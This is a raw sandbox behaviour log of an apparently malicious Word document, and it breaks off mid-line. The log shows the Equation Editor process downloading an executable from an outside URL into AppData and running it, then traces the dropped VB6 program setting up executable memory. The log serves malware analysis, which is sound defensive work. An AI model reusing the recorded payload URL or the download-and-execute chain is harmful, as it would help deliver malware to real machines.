# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 10.11.2020 00:49:32.642 Process: id = "1" image_name = "winword.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\winword.exe" page_root = "0x3720f000" os_pid = "0xb3c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x458" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xc48 Thread: id = 2 os_tid = 0xc44 Thread: id = 3 os_tid = 0xc40 Thread: id = 4 os_tid = 0xc2c Thread: id = 5 os_tid = 0xc20 Thread: id = 6 os_tid = 0xc1c Thread: id = 7 os_tid = 0xc18 Thread: id = 8 os_tid = 0xc14 Thread: id = 9 os_tid = 0xc10 Thread: id = 10 os_tid = 0xc0c Thread: id = 11 os_tid = 0xc08 Thread: id = 12 os_tid = 0xc04 Thread: id = 13 os_tid = 0xa7c Thread: id = 14 os_tid = 0xb24 Thread: id = 15 os_tid = 0x7d0 Thread: id = 16 os_tid = 0x554 Thread: id = 17 os_tid = 0x628 Thread: id = 18 os_tid = 0xb18 Thread: id = 19 os_tid = 0xb0c Thread: id = 20 os_tid = 0xb1c Thread: id = 21 os_tid = 0xb10 Thread: id = 22 os_tid = 0x15c Thread: id = 23 os_tid = 0x56c Thread: id = 24 os_tid = 0xc5c Thread: id = 221 os_tid = 0x844 Process: id = "2" image_name = "eqnedt32.exe" filename = "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe" page_root = "0x2e3d2000" os_pid = "0xcd0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x250" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE\" -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xcd4 [0091.654] GlobalLock (hMem=0x23f0074) returned 0x2f00048 [0091.655] GetProcAddress (hModule=0x75b90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ba4173 [0091.655] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\fghvhghvgfdgfhchfg.exe", lpDst=0x18eeb4, nSize=0x104 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe") returned 0x39 [0091.655] LoadLibraryW (lpLibFileName="UrlMon") returned 0x757a0000 [0094.148] GetProcAddress (hModule=0x757a0000, lpProcName="URLDownloadToFileW") returned 0x758366f6 [0094.152] URLDownloadToFileW (param_1=0x0, param_2="http://kalpvedafoundation.com/amour/linkder.exe\x09", param_3="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe"), param_4=0x0, param_5=0x0) returned 0x0 [0099.924] GetProcAddress (hModule=0x75b90000, lpProcName="WideCharToMultiByte") returned 0x75ba170d [0099.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", cchWideChar=-1, lpMultiByteStr=0x18f0d0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", lpUsedDefaultChar=0x0) returned 57 [0099.924] GetProcAddress (hModule=0x75b90000, lpProcName="WinExec") returned 0x75c22c21 [0099.924] WinExec (lpCmdLine="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", uCmdShow=0x1) returned 0x21 [0112.582] GetProcAddress (hModule=0x75b90000, lpProcName="ExitProcess") returned 0x75ba7a10 [0112.582] ExitProcess (uExitCode=0x0) Thread: id = 26 os_tid = 0xcd8 Thread: id = 27 os_tid = 0xcdc Thread: id = 28 os_tid = 0xce0 Thread: id = 29 os_tid = 0xce4 Thread: id = 30 os_tid = 0xcec Thread: id = 31 os_tid = 0xcf0 Thread: id = 32 os_tid = 0xcf4 Thread: id = 49 os_tid = 0xcf8 Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x77437000" os_pid = "0x3fc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e419" [0xc000000f], "LOCAL" [0x7] Thread: id = 33 os_tid = 0xcc4 Thread: id = 34 os_tid = 0xc50 Thread: id = 35 os_tid = 0x9e8 Thread: id = 36 os_tid = 0x7c0 Thread: id = 37 os_tid = 0x7bc Thread: id = 38 os_tid = 0x7b8 Thread: id = 39 os_tid = 0x790 Thread: id = 40 os_tid = 0x77c Thread: id = 41 os_tid = 0x764 Thread: id = 42 os_tid = 0x75c Thread: id = 43 os_tid = 0x738 Thread: id = 44 os_tid = 0x150 Thread: id = 45 os_tid = 0x128 Thread: id = 46 os_tid = 0x118 Thread: id = 47 os_tid = 0xf0 Thread: id = 48 os_tid = 0xc8 Thread: id = 177 os_tid = 0xf80 Thread: id = 178 os_tid = 0xf90 Thread: id = 180 os_tid = 0xfa0 Thread: id = 181 os_tid = 0xfa8 Thread: id = 183 os_tid = 0xfb0 Thread: id = 186 os_tid = 0xfb4 Thread: id = 189 os_tid = 0xfdc Thread: id = 222 os_tid = 0x884 Thread: id = 224 os_tid = 0x974 Process: id = "4" image_name = "fghvhghvgfdgfhchfg.exe" filename = "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe" page_root = "0x1caa8000" os_pid = "0xd34" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xcd0" cmd_line = "C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0xd38 [0100.137] GetVersion () returned 0x1db10106 [0100.139] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75b90000 [0100.152] GetProcAddress (hModule=0x75b90000, lpProcName="IsTNT") returned 0x0 [0100.152] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x4d0000 [0100.152] VirtualAlloc (lpAddress=0x0, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0x1ca0000 [0100.152] VirtualAlloc (lpAddress=0x1ca0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ca0000 [0100.154] GetCurrentThreadId () returned 0xd38 [0100.154] GetCommandLineA () returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" [0100.154] GetEnvironmentStringsW () returned 0x294a50* [0100.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1471, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1471 [0100.154] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0x5c0) returned 0x4d07d0 [0100.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1471, lpMultiByteStr=0x4d07d0, cbMultiByte=1471, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1471 [0100.154] FreeEnvironmentStringsW (penv=0x294a50) returned 1 [0100.154] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0x480) returned 0x4d0d98 [0100.154] GetStartupInfoA (in: lpStartupInfo=0x18f9b8 | out: lpStartupInfo=0x18f9b8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0100.154] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0100.154] GetFileType (hFile=0x0) returned 0x0 [0100.154] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0100.155] GetFileType (hFile=0x0) returned 0x0 [0100.155] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0100.155] GetFileType (hFile=0x0) returned 0x0 [0100.155] SetHandleCount (uNumber=0x20) returned 0x20 [0100.155] GetACP () returned 0x4e4 [0100.155] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9e0 | out: lpCPInfo=0x18f9e0) returned 1 [0100.155] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x72a4c528, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe")) returned 0x38 [0100.156] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4d07d0 | out: hHeap=0x4d0000) returned 1 [0100.156] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x75b90000 [0100.156] GetProcAddress (hModule=0x75b90000, lpProcName="IsProcessorFeaturePresent") returned 0x75ba5235 [0100.156] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0100.157] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x800) returned 0x4d1220 [0100.158] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x7c [0100.158] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x80 [0100.159] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0100.159] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x72a4e6c8, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0100.159] GetVersion () returned 0x1db10106 [0100.159] lstrcmpiW (lpString1="A", lpString2="B") returned -1 [0100.165] GetUserDefaultLCID () returned 0x409 [0100.165] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0100.165] GetSystemMetrics (nIndex=5) returned 1 [0100.165] GetSystemMetrics (nIndex=6) returned 1 [0100.165] GetSystemMetrics (nIndex=11) returned 32 [0100.165] GetSystemMetrics (nIndex=12) returned 32 [0100.165] GetSystemMetrics (nIndex=34) returned 132 [0100.165] GetSystemMetrics (nIndex=35) returned 38 [0100.166] GetSystemMetrics (nIndex=0) returned 1440 [0100.166] GetSystemMetrics (nIndex=1) returned 900 [0100.166] GetSystemMetrics (nIndex=32) returned 8 [0100.166] GetSystemMetrics (nIndex=33) returned 8 [0100.166] GetSystemMetrics (nIndex=42) returned 0 [0100.166] GetStockObject (i=15) returned 0x188000b [0100.166] GetStockObject (i=7) returned 0x1b00017 [0100.166] GetStockObject (i=6) returned 0x1b00018 [0100.166] GetStockObject (i=8) returned 0x1b00016 [0100.166] GetStockObject (i=4) returned 0x1900011 [0100.166] GetStockObject (i=2) returned 0x1900012 [0100.166] GetStockObject (i=0) returned 0x1900010 [0100.166] GetStockObject (i=5) returned 0x1900015 [0100.166] GetStockObject (i=13) returned 0x18a002e [0100.166] GetDC (hWnd=0x0) returned 0xb010a21 [0100.166] GetTextExtentPointA (in: hdc=0xb010a21, lpString="0", c=1, lpsz=0x18f9dc | out: lpsz=0x18f9dc) returned 1 [0100.171] GetDeviceCaps (hdc=0xb010a21, index=14) returned 1 [0100.171] GetDeviceCaps (hdc=0xb010a21, index=12) returned 32 [0100.171] GetDeviceCaps (hdc=0xb010a21, index=88) returned 96 [0100.171] GetDeviceCaps (hdc=0xb010a21, index=90) returned 96 [0100.171] GetDeviceCaps (hdc=0xb010a21, index=38) returned 32409 [0100.171] ReleaseDC (hWnd=0x0, hDC=0xb010a21) returned 1 [0100.171] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0x26b0000 [0100.171] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x72a4e7d0 | out: ppMalloc=0x72a4e7d0*=0x760566bc) returned 0x0 [0100.172] GetCurrentThreadId () returned 0xd38 [0100.172] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0100.172] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x104) returned 0x26b07d0 [0100.172] GetCurrentThreadId () returned 0xd38 [0100.172] GetCurrentThreadId () returned 0xd38 [0100.172] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xec8) returned 0x26b08e0 [0100.176] GetCommandLineA () returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" [0100.176] lstrlenA (lpString="") returned 0 [0100.176] lstrcpyA (in: lpString1=0x18feac, lpString2="" | out: lpString1="") returned="" [0100.176] SetErrorMode (uMode=0x8001) returned 0x1 [0100.176] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x18fb68, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0100.177] GetUserDefaultLCID () returned 0x409 [0100.194] lstrcpyA (in: lpString1=0x18f868, lpString2="*" | out: lpString1="*") returned="*" [0100.194] LoadStringA (in: hInstance=0x72940000, uID=0x7d1, lpBuffer=0x18fc6c, cchBufferMax=8 | out: lpBuffer="409") returned 0x3 [0100.197] GetSystemDefaultLCID () returned 0x409 [0100.197] GetUserDefaultLCID () returned 0x409 [0100.197] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x18fc76, cchData=2 | out: lpLCData=".") returned 2 [0100.197] GetStockObject (i=13) returned 0x18a002e [0100.197] GetObjectA (in: h=0x18a002e, c=60, pv=0x18fc3c | out: pv=0x18fc3c) returned 60 [0100.200] GetLocaleInfoA (in: Locale=0x409, LCType=0x80000003, lpLCData=0x18fc38, cchData=4 | out: lpLCData="ENU") returned 4 [0100.200] lstrcpyA (in: lpString1=0x18fc68, lpString2="EN" | out: lpString1="EN") returned="EN" [0100.200] lstrlenA (lpString="{xx}") returned 4 [0100.200] lstrlenA (lpString="VB98.CHM") returned 8 [0100.200] lstrcpyA (in: lpString1=0x72a4eae8, lpString2="VB98.CHM" | out: lpString1="VB98.CHM") returned="VB98.CHM" [0100.201] GetLocaleInfoA (in: Locale=0x409, LCType=0x80000003, lpLCData=0x18fc38, cchData=4 | out: lpLCData="ENU") returned 4 [0100.201] lstrcpyA (in: lpString1=0x18fc68, lpString2="EN" | out: lpString1="EN") returned="EN" [0100.201] lstrlenA (lpString="{xx}") returned 4 [0100.201] lstrlenA (lpString="VBENLR98.CHM") returned 12 [0100.201] lstrcpyA (in: lpString1=0x72a4ebf0, lpString2="VBENLR98.CHM" | out: lpString1="VBENLR98.CHM") returned="VBENLR98.CHM" [0100.201] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18fd90, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe")) returned 0x38 [0100.201] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x18fc8c, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0100.202] lstrcpynA (in: lpString1=0x18fb70, lpString2="C:\\Windows\\system32\\MSVBVM60.DLL", iMaxLength=260 | out: lpString1="C:\\Windows\\system32\\MSVBVM60.DLL") returned="C:\\Windows\\system32\\MSVBVM60.DLL" [0100.202] lstrlenA (lpString="C:\\Windows\\system32\\MSVBVM60.DLL") returned 32 [0100.202] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x21) returned 0x26b17b0 [0100.202] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x21) returned 0x26b17e0 [0100.202] lstrcpyA (in: lpString1=0x26b17b0, lpString2="C:\\Windows\\system32\\MSVBVM60.DLL" | out: lpString1="C:\\Windows\\system32\\MSVBVM60.DLL") returned="C:\\Windows\\system32\\MSVBVM60.DLL" [0100.202] LCMapStringA (in: Locale=0x409, dwMapFlags=0x200, lpSrcStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", cchSrc=-1, lpDestStr=0x18fb50, cchDest=260 | out: lpDestStr="C:\\USERS\\AETADZJZ\\APPDATA\\ROAMING\\FGHVHGHVGFDGFHCHFG.EXE") returned 57 [0100.204] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x18fc54, dwRevision=0x1 | out: pSecurityDescriptor=0x18fc54) returned 1 [0100.204] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x18fc54, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x18fc54) returned 1 [0100.204] CreateSemaphoreA (lpSemaphoreAttributes=0x18fc68, lInitialCount=0, lMaximumCount=2147483647, lpName="C:?USERS?AETADZJZ?APPDATA?ROAMING?FGHVHGHVGFDGFHCHFG.EXE") returned 0x90 [0100.204] GetLastError () returned 0x0 [0100.204] GetVersionExA (in: lpVersionInformation=0x18fbcc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fbcc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0100.204] OleInitialize (pvReserved=0x0) returned 0x0 [0100.215] OaBuildVersion () returned 0x321396 [0100.215] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x75e60000 [0100.215] GetLastError () returned 0x0 [0100.215] GetProcAddress (hModule=0x75e60000, lpProcName="OleLoadPictureEx") returned 0x75ec70a1 [0100.215] RegisterClipboardFormatA (lpszFormat="Link") returned 0xc194 [0100.215] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc0ad [0100.215] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBFocusRT6", lpWndClass=0x18fc34 | out: lpWndClass=0x18fc34) returned 0 [0100.216] RegisterClassA (lpWndClass=0x18fc34) returned 0xc1ef [0100.216] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBBubbleRT6", lpWndClass=0x18fc34 | out: lpWndClass=0x18fc34) returned 0 [0100.216] RegisterClassA (lpWndClass=0x18fc34) returned 0xc1f0 [0100.216] HeapCreate (flOptions=0x0, dwInitialSize=0x400, dwMaximumSize=0x0) returned 0x27d0000 [0100.216] GetUserDefaultLCID () returned 0x409 [0100.216] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x3a4) returned 0x26b1810 [0100.216] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x3a4) returned 0x26b1bc0 [0100.216] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xd4) returned 0x26b1f70 [0100.216] GetSystemInfo (in: lpSystemInfo=0x18fbf4 | out: lpSystemInfo=0x18fbf4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0100.216] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x1a0000 [0100.217] VirtualAlloc (lpAddress=0x1a0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0100.217] VirtualAlloc (lpAddress=0x1a0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0100.217] VirtualAlloc (lpAddress=0x1a0000, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0100.217] VirtualAlloc (lpAddress=0x1a0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0100.217] VirtualAlloc (lpAddress=0x1a0000, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0100.217] VirtualAlloc (lpAddress=0x1a0000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0100.218] VirtualProtect (in: lpAddress=0x1a0000, dwSize=0x6000, flNewProtect=0x20, lpflOldProtect=0x18fc50 | out: lpflOldProtect=0x18fc50*=0x4) returned 1 [0100.219] GetCurrentProcess () returned 0xffffffff [0100.219] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x1a0000, dwSize=0x6000) returned 1 [0100.219] GlobalAddAtomA (lpString="VBDisabled") returned 0xc12b [0100.219] GetVersion () returned 0x1db10106 [0100.219] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x75e60000 [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="DispCallFunc") returned 0x75e73dcf [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="LoadTypeLibEx") returned 0x75e707b7 [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="UnRegisterTypeLib") returned 0x75e91ca9 [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="CreateTypeLib2") returned 0x75e78e70 [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="VarDateFromUdate") returned 0x75e77684 [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="VarUdateFromDate") returned 0x75e7cc98 [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="GetAltMonthNames") returned 0x75ea903a [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="VarNumFromParseNum") returned 0x75e76231 [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="VarParseNumFromStr") returned 0x75e75fea [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="VarDecFromR4") returned 0x75e83f94 [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="VarDecFromR8") returned 0x75e84e9e [0100.220] GetProcAddress (hModule=0x75e60000, lpProcName="VarDecFromDate") returned 0x75eadb72 [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="VarDecFromI4") returned 0x75e92a8c [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="VarDecFromCy") returned 0x75ead737 [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="VarR4FromDec") returned 0x75eae015 [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x75eacc3d [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="GetRecordInfoFromGuids") returned 0x75ead1c4 [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="SafeArrayGetRecordInfo") returned 0x75ead48c [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="SafeArraySetRecordInfo") returned 0x75ead4c6 [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="SafeArrayGetIID") returned 0x75ead509 [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="SafeArraySetIID") returned 0x75e7e7bb [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="SafeArrayCopyData") returned 0x75e7e496 [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x75e7ddf1 [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="SafeArrayCreateEx") returned 0x75ead53f [0100.221] GetProcAddress (hModule=0x75e60000, lpProcName="VarFormat") returned 0x75eb2055 [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarFormatDateTime") returned 0x75eb20ea [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarFormatNumber") returned 0x75eb2151 [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarFormatPercent") returned 0x75eb21f5 [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarFormatCurrency") returned 0x75eb2288 [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarWeekdayName") returned 0x75eb2335 [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarMonthName") returned 0x75eb23d5 [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarAdd") returned 0x75e85934 [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarAnd") returned 0x75e85a98 [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarCat") returned 0x75e859b4 [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarDiv") returned 0x75ede405 [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarEqv") returned 0x75edef07 [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarIdiv") returned 0x75edf00a [0100.222] GetProcAddress (hModule=0x75e60000, lpProcName="VarImp") returned 0x75edef47 [0100.223] GetProcAddress (hModule=0x75e60000, lpProcName="VarMod") returned 0x75edf15e [0100.223] GetProcAddress (hModule=0x75e60000, lpProcName="VarMul") returned 0x75eddbd4 [0100.223] GetProcAddress (hModule=0x75e60000, lpProcName="VarOr") returned 0x75edecfa [0100.223] GetProcAddress (hModule=0x75e60000, lpProcName="VarPow") returned 0x75edea66 [0100.223] GetProcAddress (hModule=0x75e60000, lpProcName="VarSub") returned 0x75edd332 [0100.223] GetProcAddress (hModule=0x75e60000, lpProcName="VarXor") returned 0x75edee2e [0100.223] GetProcAddress (hModule=0x75e60000, lpProcName="VarAbs") returned 0x75edca11 [0100.223] GetProcAddress (hModule=0x75e60000, lpProcName="VarFix") returned 0x75edcc5f [0100.223] GetProcAddress (hModule=0x75e60000, lpProcName="VarInt") returned 0x75edcde7 [0100.223] GetProcAddress (hModule=0x75e60000, 